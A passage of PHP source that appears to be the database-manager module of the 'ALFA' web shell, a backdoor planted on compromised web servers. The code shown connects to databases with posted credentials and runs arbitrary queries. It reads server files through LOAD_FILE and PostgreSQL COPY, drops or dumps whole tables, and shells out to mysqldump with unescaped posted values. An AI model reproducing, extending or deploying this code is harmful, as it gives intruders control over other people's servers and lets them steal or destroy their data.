!</b></font></pre></center>";\r\n\t$cant_symlink = false;\r\n}\r\nif($cant_symlink)echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>\';\r\necho "</center></table>";\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfasql(){\r\nclass DbClass{\r\npublic $type;\r\npublic $link;\r\npublic $res;\r\npublic $mysqli_connect_error = false;\r\npublic $mysqli_connect_error_msg = "";\r\nfunction __construct($type){\r\n$this->type = $type;\r\n}\r\nfunction connect($host, $user, $pass, $dbname){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nif($this->link = @mysqli_connect($host,$user,$pass,$dbname)){\r\n\treturn true;\r\n}else{\r\n\t$this->mysqli_connect_error = true;\r\n\t$this->mysqli_connect_error_msg = mysqli_connect_error();\r\n\treturn false;\r\n}\r\nbreak;\r\ncase \'pgsql\':\r\n$host = explode(\':\', $host);\r\nif(!$host[1]) $host[1]=5432;\r\nif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction selectdb($db){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nif(@mysqli_select_db($db))return true;\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction query($str){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->res = @mysqli_query($this->link,$str);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn $this->res = @pg_query($this->link,$str);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction fetch(){\r\n$res = func_num_args()?func_get_arg(0):$this->res;\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn @mysqli_fetch_assoc($res);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn @pg_fetch_assoc($res);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction listDbs(){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->query("SHOW databases");\r\nbreak;\r\ncase \'pgsql\':\r\nreturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction listTables(){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->res = $this->query(\'SHOW TABLES\');\r\nbreak;\r\ncase \'pgsql\':\r\nreturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction error(){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn @mysqli_error($this->link);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn @pg_last_error();\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction setCharset($str){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nif(function_exists(\'mysql_set_charset\'))\r\nreturn @mysqli_set_charset($this->link,$str);\r\nelse\r\n$this->query(\'SET CHARSET \'.$str);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn @pg_set_client_encoding($this->link, $str);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction loadFile($str){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\r\nbreak;\r\ncase \'pgsql\':\r\n$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM \'".addslashes($str)."\';select file from solevisible;");\r\n$r=array();\r\nwhile($i=$this->fetch())\r\n$r[] = $i[\'file\'];\r\n$this->query(\'drop table solevisible\');\r\nreturn array(\'file\'=>implode("\\n",$r));\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\n};\r\n$db = new DbClass($_POST[\'type\']);\r\nalfahead();\r\n$form_visibility = "table";\r\nif(isset($_POST[\'sql_host\'])){\r\n\t$connection_db = $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\r\n\tif($connection_db && !empty($_POST[\'sql_base\'])){\r\n\t\t$form_visibility = "none";\r\n\t}\r\n}\r\n$database_list = array();\r\necho "\r\n<div class=\'header\' style=\'min-height:300px;\'>".($form_visibility!="none"?"<center><div class=\'txtfont_header\'>| Sql Manager |</div><p>".getConfigHtml(\'all\')."</p></center><div style=\'text-align:center;margin-bottom: 10px;\'><button class=\'connection-his-btn db-opt-id\' onclick=\'alfaShowConnectionHistory(this);\' mode=\'on\'>Connection History</button><div class=\'connection_history_holder\'></div></div>":"")."\r\n<div class=\'sf\' class=\'db-opt-id\'><table style=\'margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."\' cellpadding=\'2\' cellspacing=\'0\'><tr>\r\n<td><div class=\\"txtfont\\">TYPE</div></td><td><div class=\\"txtfont\\">HOST</div></td><td><div class=\\"txtfont\\">DB USER</div></td><td><div class=\\"txtfont\\">DB PASS</div></td><td><div class=\\"txtfont\\">DB NAME</div></td><td></td></tr><tr>\r\n<td><select name=\'type\'><option value=\'mysql\' selected>mysql</option></select></td>\r\n<td><input type=\'text\' name=\'sql_host\' id=\'db_host\' value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>\r\n<td><input type=\'text\' name=\'sql_login\' id=\'db_user\' value=\'". (empty($_POST[\'sql_login\'])?\'\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>\r\n<td><input type=\'text\' name=\'sql_pass\' id=\'db_pw\' value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";\r\n$tmp = "<input type=\'text\' name=\'sql_base\' id=\'db_name\' value=\'". (empty($_POST[\'sql_base\'])?\'\':htmlspecialchars($_POST[\'sql_base\'])) ."\'>";\r\nif(isset($_POST[\'sql_host\'])){\r\nif($connection_db){\r\n$db->setCharset(\'utf8\');\r\n$db->listDbs();\r\necho "<select name=sql_base><option value=\'\'></option>";\r\nwhile($item = $db->fetch()) {\r\nlist($key, $value) = each($item);\r\n$database_list[] = $value;\r\necho \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\r\n}\r\necho \'</select>\';\r\n}else{\r\n\techo $tmp;\r\n}\r\n}else\r\necho $tmp;\r\n$curr_mysql_id = $_POST[\'current_mysql_id\'];\r\necho "</td>\r\n<td><button onclick=\'fs(this);return false;\' class=\'db-opt-id db-connect-btn\'>Connect</button></td>\r\n<td><input type=\'checkbox\' name=\'sql_count\' value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> <div class=\\"txtfont\\">count the number of rows</div></td>\r\n</tr>\r\n</table>";\r\nif($db->mysqli_connect_error){\r\n\techo \'<div style="text-align: center;font-size: 17px;margin-top: 18px;">\'.$db->mysqli_connect_error_msg.\'</div>\';\r\n}\r\nif(!empty($curr_mysql_id)){\r\n\t$sql_title_db = "";\r\n\tif(!empty($_POST[\'sql_base\'])){\r\n\t\t$sql_title_db = "d.querySelector(\'#tab_".$curr_mysql_id." span\').innerHTML=\'".addslashes($_POST[\'sql_base\'])."\';";\r\n\t}\r\n\techo "<script>mysql_cache[\'".$curr_mysql_id."\'][\'host\']=\'".addslashes($_POST[\'sql_host\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'user\']=\'".addslashes($_POST[\'sql_login\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'pass\']=\'".addslashes($_POST[\'sql_pass\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'db\']=\'".addslashes($_POST[\'sql_base\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'charset\']=\'".addslashes($_POST[\'charset\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'type\']=\'".addslashes($_POST[\'type\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'count\']=\'".addslashes($_POST[\'sql_count\'])."\';".$sql_title_db."alfaConnectionHistoryUpdate();</script>";\r\n}\r\nif(isset($db) && $db->link){\r\nif(!empty($_POST[\'sql_base\'])){\r\necho "<div class=\'mysql-main\'><div mode=\'block\' onclick=\'alfaMysqlTablePanelCtl(this);\' class=\'tables-panel-ctl db-opt-id\'><<</div><div class=\'mysql-tables\'><div><input placeholder=\\"Filter Table\\" style=\'padding: 0;margin-left: 11px;text-align:center;\' type=\'text\' name=\'filter_all\'><button class=\'db-opt-id\' onclick=\'alfaMysqlFilterAllTable(this);return false;\'>Search</button></div><div class=\'block\'><a sql_count=\'".(empty($_POST[\'sql_count\'])?"false":"true")."\' mode=\'closed\' onclick=\'alfaMysqlFilterAllTable(this,true);\' class=\'expander parent-expander db-opt-id\' href=\'javascript:void(0);\'><img src=\'http://solevisible.com/icons/menu/b_plus.png\' title=\'Expand/Collapse All DataBases\' alt=\'Expand/Collapse All DataBases\'></a></div><ul style=\'margin-top: 28px;\'>";\r\nforeach ($database_list as $db_name) {\r\n\techo \'<li><div class="block"><i></i><b></b><a sql_count="\'.(empty($_POST[\'sql_count\'])?"false":"true").\'" db_target="\'.$db_name.\'" onclick="alfaMysqlExpander(this);" class="expander cls-\'.$db_name.\'-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/\'.($db_name == $_POST[\'sql_base\']?"b_minus.png":"b_plus.png").\'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">\'.$db_name.\'</span><div class="clearfloat"></div><div db_name="\'.$db_name.\'" mode="\'.($db_name == $_POST[\'sql_base\']?"loaded":"no").\'" class="list_container cls-\'.$db_name.\'"><div>\';\r\n\tif($db_name == $_POST[\'sql_base\']){\r\n\t\t$db->selectdb($_POST[\'sql_base\']);\r\n\t\t$tbls_res = $db->listTables();\r\n\t\techo \'<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-\'.$db_name.\'" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>\';\r\n\t\twhile($item = $db->fetch($tbls_res)){\r\n\t\tlist($key, $value) = each($item);\r\n\t\tif(!empty($_POST[\'sql_count\']))\r\n\t\t$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM `\'.$value.\'`\'));\r\n\t\t$value = htmlspecialchars($value);\r\n\t\techo "<li><div class=\'block\'><i></i><b></b></div><div class=\'tables-row\'><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'> <a class=\'db-opt-id\' db_target=\'".$db_name."\' href=\'javascript:void(0);\' onclick=\\"alfaLoadTableData(this,\'".$value."\')\\"><span class=\'mysql_tables\' style=\'font-weight:unset;\'>".$value."</span></a>" . (empty($_POST[\'sql_count\'])?\' \':" <small><span style=\'font-weight:unset;\' class=\'mysql_table_count\'>({$n[\'n\']})</span></small>") . "</div></li>";\r\n\t\t}\r\n\t\techo \'</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-\'.$db_name.\'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-\'.$db_name.\'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="\'.$db_name.\'" target=".cls-\'.$db_name.\'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>\';\r\n\t}\r\n\techo "</div></li>";\r\n}\r\necho "</ul></div><div class=\'mysql-query-results\'><div class=\'mysql-query-result-tabs\'><div class=\'db-opt-id mysql-query-selected-tab\' target=\'.mysql-query-result-content\' onclick=\'alfaMysqlTabCtl(this);\'>Result</div><div class=\'db-opt-id\' target=\'.mysql-query-form\' onclick=\'alfaMysqlTabCtl(this);\'>Query</div><div class=\'db-opt-id\' target=\'.mysql-search-area\' onclick=\'alfaMysqlTabCtl(this);\'>Search</div><div class=\'db-opt-id\' target=\'.mysql-structure\' onclick=\'alfaMysqlTabCtl(this);\'>Structure</div><div class=\'db-opt-id\' target=\'.mysql-insert-row\' onclick=\'alfaMysqlTabCtl(this);\'>Insert</div><div style=\'display:none;\' class=\'db-opt-id\' target=\'.mysql-edit-row\' onclick=\'alfaMysqlTabCtl(this);\'>Edit</div></div><div class=\'mysql-query-content mysql-insert-row mysql-hide-content\'></div><div class=\'mysql-query-content mysql-edit-row mysql-hide-content\'></div><div class=\'mysql-query-content mysql-search-area mysql-hide-content\'></div><div class=\'mysql-query-content mysql-structure mysql-hide-content\'></div><div class=\'mysql-query-content mysql-query-form mysql-hide-content\'><div style=\'margin-bottom: 5px;\'><span>Query:</span></div><textarea name=\'query\' style=\'width:90%;height:100px\'></textarea><p><div style=\'float:left;margin-left: 30px;\'><input class=\'button db-opt-id\' db_target=\'".$_POST[\'sql_base\']."\' onclick=\'alfaMysqlQuery(this);return false;\' type=\'submit\' value=\' \'></div></p></div><div class=\'mysql-query-content mysql-query-result-content\'><div class=\'mysql-query-result-header\'><div style=\'margin-bottom: 10px;\' class=\'mysql-query-reporter\'></div><div class=\'mysql-query-pager\'></div></div><div class=\'mysql-query-table\'></div></div></form></td></tr>";\r\n}\r\necho "</table></div>";\r\necho "</div>";\r\n}else{\r\necho htmlspecialchars($db->error());\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfaSql_manager_api(){\r\n\t$db = $_POST["alfa1"];\r\n\t$type = $_POST["alfa2"];\r\n\t$sql_count = $_POST["alfa3"] == "true" ? true : false;\r\n\t$db = @json_decode($db, true);\r\n\t$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);\r\n\t@mysqli_set_charset($conn, "utf8");\r\n\tif($conn){\r\n\t\tif($type == "load_all_tables"){\r\n\t\t\t$tables = array();\r\n\t\t\t$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN (\'".implode("\',\'", $db["databases"])."\');");\r\n\t\t\t$count = 0;\r\n\t\t\twhile($row = @mysqli_fetch_assoc($q_tables)){\r\n\t\t\t\tif($sql_count){\r\n\t\t\t\t\t$count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row["table_schema"].\'`.`\'.$row["table_name"].\'`\');\r\n\t\t\t\t\tif($count_q){\r\n\t\t\t\t\t\t$count = @mysqli_fetch_row($count_q);\r\n\t\t\t\t\t\t$count = $count[0];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);\r\n\t\t\t}\r\n\t\t\tforeach($db["databases"] as $db){\r\n\t\t\t\tif(!isset($tables[$db])){\r\n\t\t\t\t\t$tables[$db] = null;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo @json_encode($tables);\r\n\t\t}elseif($type == "dump_drop"){\r\n\t\t\tif($db["mode"] == "drop"){\r\n\t\t\t\tforeach ($db["tables"] as $table) {\r\n\t\t\t\t\t@mysqli_query($conn, "DROP TABLE `".$table."`;");\r\n\t\t\t\t}\r\n\t\t\t\t$tables = array();\r\n\t\t\t\t$q_tables = @mysqli_query($conn, "SHOW TABLES;");\r\n\t\t\t\t$count = 0;\r\n\t\t\t\twhile($row = @mysqli_fetch_array($q_tables)){\r\n\t\t\t\t\tif($sql_count){\r\n\t\t\t\t\t\t$count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row[0].\'`\');\r\n\t\t\t\t\t\tif($count_q){\r\n\t\t\t\t\t\t\t$count = @mysqli_fetch_row($count_q);\r\n\t\t\t\t\t\t\t$count = $count[0];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$tables[] = array("name" => $row[0], "count" => (int)$count);\r\n\t\t\t\t}\r\n\t\t\t\techo @json_encode($tables);\r\n\t\t\t}else{\r\n\t\t\t\tif(strlen(alfaEx("mysqldump"))>0){\r\n\t\t\t\t\talfaEx("mysqldump --single-transaction --host=\\"".$db["host"]."\\" --user=\\"".$db["user"]."\\" --password=\\"".$db["pass"]."\\" ".$db["db"]." ".implode(" ", $db["tables"])." > ".$db["dump_file"]);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$fp = @fopen($db["dump_file"], "w");\r\n\t\t\t\t\tforeach ($db["tables"] as $table) {\r\n\t\t\t\t\t\t$res = @mysqli_query($conn, \'SHOW CREATE TABLE `\'.$table.\'`\');\r\n\t\t\t\t\t\t$create = @mysqli_fetch_array($res);\r\n\t\t\t\t\t\t$sql = "DROP TABLE IF EXISTS `".$table."`;\\n" . $create[1].";\\n";\r\n\t\t\t\t\t\tif($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t\t$tbl_data = @mysqli_query($conn, \'SELECT * FROM `\'.$table.\'`\');\r\n\t\t\t\t\t\t$head = true;\r\n\t\t\t\t\t\twhile($item = @mysqli_fetch_assoc($tbl_data)){\r\n\t\t\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t\t\tforeach($item as $k=>$v) {\r\n\t\t\t\t\t\t\tif($v == null)\r\n\t\t\t\t\t\t\t$item[$k] = "\'\'";\r\n\t\t\t\t\t\t\telseif(is_numeric($v))\r\n\t\t\t\t\t\t\t$item[$k] = $v;\r\n\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t$item[$k] = "\'".@mysqli_real_escape_string($conn, $v)."\'";\r\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif($head) {\r\n\t\t\t\t\t\t\t$sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\r\n\t\t\t\t\t\t\t$head = false;\r\n\t\t\t\t\t\t\t} else\r\n\t\t\t\t\t\t\t$sql = "\\n\\t,(".implode(", ", $item).\')\';\r\n\t\t\t\t\t\t\tif($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif(!$head)\r\n\t\t\t\t\t\t\tif($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\techo @json_encode(array("status" => true, "file" => $db["dump_file"]));\r\n\t\t\t}\r\n\t\t}elseif($type == "load_tables"){\r\n\t\t\t$tables = array();\r\n\t\t\t$q_tables = @mysqli_query($conn, "SHOW TABLES;");\r\n\t\t\t$count = 0;\r\n\t\t\twhile($row = @mysqli_fetch_array($q_tables)){\r\n\t\t\t\tif($sql_count){\r\n\t\t\t\t\t$count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row[0].\'`\');\r\n\t\t\t\t\tif($count_q){\r\n\t\t\t\t\t\t$count = @mysqli_fetch_row($count_q);\r\n\t\t\t\t\t\t$count = $count[0];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$tables[] = array("name" => $row[0], "count" => (int)$count);\r\n\t\t\t}\r\n\t\t\techo @json_encode($tables);\r\n\t\t}elseif($type == "alter"){\r\n\t\t\t$db["alter"]["type"] = strtolower($db["alter"]["type"]);\r\n\t\t\t$inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";\r\n\t\t\t$text_input = array("longtext", "text", "mediumtext", "tinytext");\r\n\t\t\tif(in_array($db["alter"]["type"], $text_input)){\r\n\t\t\t\t$inputs = $db["alter"]["type"];\r\n\t\t\t}\r\n\t\t\t@mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);\r\n\t\t\t$error = @mysqli_error($conn);\r\n\t\t\tif($error){\r\n\t\t\t\techo $error;\r\n\t\t\t}else{\r\n\t\t\t\techo "ok";\r\n\t\t\t}\r\n\t\t}elseif($type == "edit" || $type == "delete" || $type == "delete_all"){\r\n\t\t\tif($type == "edit"){\r\n\t\t\t\t$q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = \'".addslashes($db["key"])."\' LIMIT 0,1");\r\n\t\t\t\t$row = @mysqli_fetch_assoc($q);\r\n\t\t\t\tif($row){\r\n\t\t\t\t\t$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = \'".$db["db"]."\' AND `TABLE_NAME` = \'".$db["table"]."\'");\r\n\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t$edit_data = array();\r\n\t\t\t\t\twhile($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\r\n\t\t\t\t\t\t$input = array("col_type" => $row2["COLUMN_TYPE"]);\r\n\t\t\t\t\t\t$row2["type"] = strtolower($row2["type"]);\r\n\t\t\t\t\t\tswitch($row2["type"]){\r\n\t\t\t\t\t\t\tcase "longtext": case "text": case "mediumtext": case "tinytext":\r\n\t\t\t\t\t\t\t\t$input["tag"] = "textarea";\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tcase "int": case "smallint": case "bigint": case "tinyint": case "mediumint":\r\n\t\t\t\t\t\t\t\t$input["tag"] = "input";\r\n\t\t\t\t\t\t\t\t$input["type"] = "number";\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t$input["tag"] = "input";\r\n\t\t\t\t\t\t\t\t$input["type"] = "text";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$columns[$row2["name"]] = $input;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($row as $key => $v){\r\n\t\t\t\t\t\t$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, \'UTF-8\'), "type" => $columns[$key]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo @json_encode($edit_data);\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\tif($type == "delete_all"){\r\n\t\t\t\t\t$rows = implode("\', \'", $db["rows"]);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$rows = addslashes($db["key"]);\r\n\t\t\t\t}\r\n\t\t\t\t$query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN (\'".$rows."\')";\r\n\t\t\t\t@mysqli_query($conn, $query);\r\n\t\t\t\t$error = @mysqli_error($conn);\r\n\t\t\t\tif($error){\r\n\t\t\t\t \t$status = false;\r\n\t\t\t\t}else{\r\n\t\t\t\t \t$status = true;\r\n\t\t\t\t}\r\n\t\t\t\techo @json_encode(array("status" => $status, "error" => $error, "query" => $query));\r\n\t\t\t}\r\n\t\t}elseif($type == "update"){\r\n\t\t\t$query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";\r\n\t\t\tforeach($db["data"] as $col => $val){\r\n\t\t\t\t$query .= "`".$col."` = \'".mysqli_real_escape_string($conn, $val)."\',";\r\n\t\t\t}\r\n\t\t\t$query = substr($query, 0, -1);\r\n\t\t $query .= "WHERE `".$db["col_key"]."` = \'".$db["key"]."\'";\r\n\t\t\t$res = @mysqli_query($conn, $query);\r\n\t\t\techo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));\r\n\t\t}elseif($type == "insert"){\r\n\t\t\t$query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";\r\n\t\t\tforeach($db["data"] as $col => $val){\r\n\t\t\t\t$cols .= $col . ",";\r\n\t\t\t\t$vals .= "\'".mysqli_real_escape_string($conn, $val)."\',";\r\n\t\t\t}\r\n\t\t\t$cols = substr($cols, 0, -1);\r\n\t\t\t$vals = substr($vals, 0, -1);\r\n\t\t\t$query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";\r\n\t\t\t$res = @mysqli_query($conn, $query);\r\n\t\t\techo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));\r\n\t\t}else{\r\n\t\t\t$pages = 0;\r\n\t\t\t$title = false;\r\n\t\t\t$query = "";\r\n\t\t\t$tbl_content = \'<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">\';\r\n\t\t\t$line = 0;\r\n\t\t\t$tables = array();\r\n\t\t\t$columns = array();\r\n\t\t\tif($type == "load_data"){\r\n\t\t\t\t$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";\r\n\t\t\t\t$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");\r\n\t\t\t\t$tbl_count = @mysqli_fetch_row($tbl_count_q);\r\n\t\t\t\t$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = \'".$db["db"]."\' AND `TABLE_NAME` = \'".$db["table"]."\'");\r\n\t\t\t\twhile($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\r\n\t\t\t\t\t$columns[] = $row2;\r\n\t\t\t\t}\r\n\t\t\t\tif($tbl_count[0] > 30){\r\n\t\t\t\t\t$pages = ceil($tbl_count[0] / 30);\r\n\t\t\t\t}\r\n\t\t\t}elseif($type == "query"){\r\n\t\t\t\t$query = $db["query"];\r\n\t\t\t}elseif($type == "page"){\r\n\t\t\t\t$db["page"] = (int)$db["page"] - 1;\r\n\t\t\t\t$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";\r\n\t\t\t}elseif($type == "search"){\r\n\t\t\t\t$search = "";\r\n\t\t\t\t$search_noval = array("= \'\'", "!= \'\'", "IS NULL", "IS NOT NULL");\r\n\t\t\t\tforeach($db["search"] as $col => $val){\r\n\t\t\t\t\t$search_noval_r = in_array($val["opt"], $search_noval);\r\n\t\t\t\t\tif(empty($val["value"]) && !$search_noval_r)continue;\r\n\t\t\t\t\tif(strstr($val["opt"], "...") || $search_noval_r){\r\n\t\t\t\t\t\t$val["opt"] = str_replace("...", $val["value"], $val["opt"]);\r\n\t\t\t\t\t\t$search .= $col . " " . $val["opt"] . " AND ";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$search .= $col . " " . $val["opt"] . " \'".addslashes($val["value"])."\' AND ";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$search .= "1=1";\r\n\t\t\t\t$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;\r\n\t\t\t}\r\n\t\t\t$q_tables = @mysqli_query($conn, $query);\r\n\t\t\tif(!$q_tables){\r\n\t\t\t\techo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = \'".@addslashes($db["db"])."\' AND TABLE_NAME = \'".@addslashes($db["table"])."\' AND COLUMN_KEY = \'PRI\'");\r\n\t\t\tif($col_key){\r\n\t\t\t\t$col_key = @mysqli_fetch_row($col_key);\r\n\t\t\t\t$col_key = $col_key[0];\r\n\t\t\t\tif(!empty($col_key)){\r\n\t\t\t\t\t$tbl_content = \'<div style="margin-bottom:5px;margin-top:5px;"><button col_key="\'.$col_key.\'" tbl_name="\'.$db["table"].\'" db_id="\'.$db["db_id"].\'" \tdb_target="\'.$db["db"].\'" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">\';\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$col_key = false;\r\n\t\t\t}\r\n\t\t\twhile($item = @mysqli_fetch_assoc($q_tables)){\r\n\t\t\t\tif(!$title){\r\n\t\t\t\t\t$tbl_content .= \'<tr style="background-color:#305b8e;">\';\r\n\t\t\t\t\tif($col_key){\r\n\t\t\t\t\t\t$tbl_content .= \'<th style="width: 55px;text-align:center;"><input db_id="\'.$db["db_id"].\'" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($item as $key => $value){\r\n\t\t\t\t\t\t$tbl_content .= \'<th>\'.$key.\'</th>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t\treset($item);\r\n\t\t\t\t\t$title=true;\r\n\t\t\t\t\t$tbl_content .= \'</tr><tr>\';\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif($col_key){\r\n\t\t\t\t\t$cacheMsg = \'<td style="text-align:center;"><input row_id="\'.$line.\'" type="checkbox" name="tbl_rows_checkbox[]" value="\'.$item[$col_key].\'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="\'.$db["db_id"].\'" db_target="\'.$db["db"].\'" tbl_name="\'.$db["table"].\'" col_key="\'.$col_key.\'" key="\'.$item[$col_key].\'" onclick="alfaMysqlEditRow(this, \\\'edit\\\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="\'.$db["db_id"].\'" db_target="\'.$db["db"].\'" tbl_name="\'.$db["table"].\'" col_key="\'.$col_key.\'" 